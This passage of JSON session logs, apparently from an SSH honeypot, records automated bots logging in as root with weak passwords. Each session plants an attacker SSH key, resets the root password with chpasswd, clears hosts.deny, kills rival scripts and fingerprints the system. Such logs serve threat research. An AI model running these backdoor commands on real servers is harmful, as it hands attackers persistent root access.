sleep;"},{"seq":7,"at":"2026-08-27T11:42:33.877720+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:42:34.605953+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:42:35.066789+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:42:36.161197+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:42:36.619271+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:42:38.011551+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:42:38.471060+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:42:39.127229+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:42:39.593783+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:42:40.438676+00:00","kind":"output","latency_ms":null,"data":" 11:42:40 up 7 days, 8:32, 0 user, load average: 0.3, 0.21, 0.27\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:42:40.892319+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:42:41.581373+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:42:42.035849+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:42:42.915095+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:42:43.370226+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:42:44.165007+00:00","kind":"output","latency_ms":null,"data":"top - 11:42:44 up 7 days, 8:32, 0 user, load average: 0.3, 0.21, 0.27\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:42:44.621184+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:42:44.880133+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:42:45.335504+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:42:45.843566+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:42:46.299157+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:42:46.685921+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:42:47.140264+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:42:48.258420+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:42:48.713657+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:42:49.739217+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"zxcvbnm,","method":"password","accepted":true,"tier":"other"}]} {"id":"f82edd59-1d77-4e21-aabc-38e643c9955c","name":"steady-emerald-bobcat","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":42768,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:41:54.297613+00:00","ended_at":"2026-08-27T11:41:55.633851+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2150,"events":[{"seq":1,"at":"2026-08-27T11:41:35.698499+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:41:36.024905+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:41:39.790475+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:41:40.184371+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:41:40.511183+00:00","kind":"input","latency_ms":null,"data":"echo \"root:YzCnoGtHWVVE\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:41:40.835088+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:41:41.163402+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:41:41.744315+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:41:42.072620+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:41:43.094050+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:41:43.425705+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:41:44.438315+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:41:44.768843+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:41:45.656208+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:41:45.986793+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:41:46.875314+00:00","kind":"output","latency_ms":null,"data":" 11:41:46 up 7 days, 8:31, 0 user, load average: 0.08, 0.08, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:41:47.202299+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:41:47.716314+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:41:48.044062+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:41:48.637188+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:41:48.966409+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:41:49.666147+00:00","kind":"output","latency_ms":null,"data":"top - 11:41:49 up 7 days, 8:31, 0 user, load average: 0.08, 0.08, 0.05\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:41:49.993909+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:41:50.789255+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:41:51.113529+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:41:51.461005+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:41:51.789796+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:41:52.611038+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:41:52.934788+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:41:53.975492+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:41:54.298495+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:41:55.536561+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Password@123","method":"password","accepted":true,"tier":"other"}]} {"id":"9eac5760-2272-4284-9c94-36fd1e49ffbb","name":"umber-twilight-goshawk","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":44376,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":265,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:41:40.284750+00:00","ended_at":"2026-08-27T11:41:41.525679+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T11:41:12.697939+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:41:12.963597+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:41:16.928158+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:41:18.599085+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:41:18.864067+00:00","kind":"input","latency_ms":null,"data":"echo \"root:3SESPICap2IE\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:41:19.128348+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:41:19.391342+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:41:21.505399+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:41:21.770332+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:41:23.092768+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:41:23.360159+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:41:24.636029+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:41:24.903450+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:41:26.454144+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:41:26.722167+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:41:27.583698+00:00","kind":"output","latency_ms":null,"data":" 11:41:27 up 7 days, 8:31, 0 user, load average: 0.07, 0.06, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:41:27.848595+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:41:29.752621+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:41:30.017059+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:41:31.793181+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:41:32.057738+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:41:33.107955+00:00","kind":"output","latency_ms":null,"data":"top - 11:41:33 up 7 days, 8:31, 0 user, load average: 0.07, 0.06, 0.06\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:41:33.373028+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:41:34.547548+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:41:34.811612+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:41:36.336782+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:41:36.601679+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:41:38.453956+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:41:38.716237+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:41:40.019380+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:41:40.285707+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:41:41.450420+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"a123123123","method":"password","accepted":true,"tier":"other"}]} {"id":"3b68326b-5aa3-401b-bd27-1a060294ab3f","name":"jovial-obsidian-kakapo","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":49492,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":274,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:39:40.711783+00:00","ended_at":"2026-08-27T11:39:41.785704+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T11:39:14.027106+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:39:14.292615+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:39:18.676152+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:39:20.121442+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:39:20.395958+00:00","kind":"input","latency_ms":null,"data":"echo \"root:GQahjYvYUf6O\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:39:20.670919+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:39:20.943678+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:39:22.415652+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:39:22.689258+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:39:23.868111+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:39:24.146198+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:39:25.729522+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:39:26.011138+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:39:27.694952+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:39:27.971006+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:39:29.267511+00:00","kind":"output","latency_ms":null,"data":" 11:39:29 up 7 days, 8:29, 0 user, load average: 0.28, 0.22, 0.31\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:39:29.542395+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:39:31.560949+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:39:31.835472+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:39:32.429669+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:39:32.705514+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:39:34.152967+00:00","kind":"output","latency_ms":null,"data":"top - 11:39:34 up 7 days, 8:29, 0 user, load average: 0.28, 0.22, 0.31\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:39:34.424274+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:39:35.965400+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:39:36.238964+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:39:37.035750+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:39:37.310053+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:39:39.227250+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:39:39.502653+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:39:40.437360+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:39:40.712564+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:39:41.705283+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"tq123456.","method":"password","accepted":true,"tier":"other"}]} {"id":"8cfa3a5a-651c-4953-aec2-2d764a29de42","name":"drifting-amiable-tanager","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":41464,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":329,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:38:02.282253+00:00","ended_at":"2026-08-27T11:38:04.558531+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2139,"events":[{"seq":1,"at":"2026-08-27T11:37:43.886777+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:37:44.213866+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:37:48.545470+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:37:48.858283+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:37:49.184627+00:00","kind":"input","latency_ms":null,"data":"echo \"root:wbKyouhhmXUZ\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:37:49.513653+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:37:49.841619+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:37:50.675293+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:37:51.004824+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:37:52.323339+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:37:52.654593+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:37:53.603072+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:37:53.931618+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:37:54.330465+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:37:54.660933+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:37:54.941915+00:00","kind":"output","latency_ms":null,"data":" 11:37:54 up 7 days, 8:28, 0 user, load average: 0.14, 0.16, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:37:55.272596+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:37:56.089969+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:37:56.420107+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:37:57.044596+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:37:57.381382+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:37:57.897323+00:00","kind":"output","latency_ms":null,"data":"top - 11:37:57 up 7 days, 8:28, 0 user, load average: 0.14, 0.16, 0.08\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB 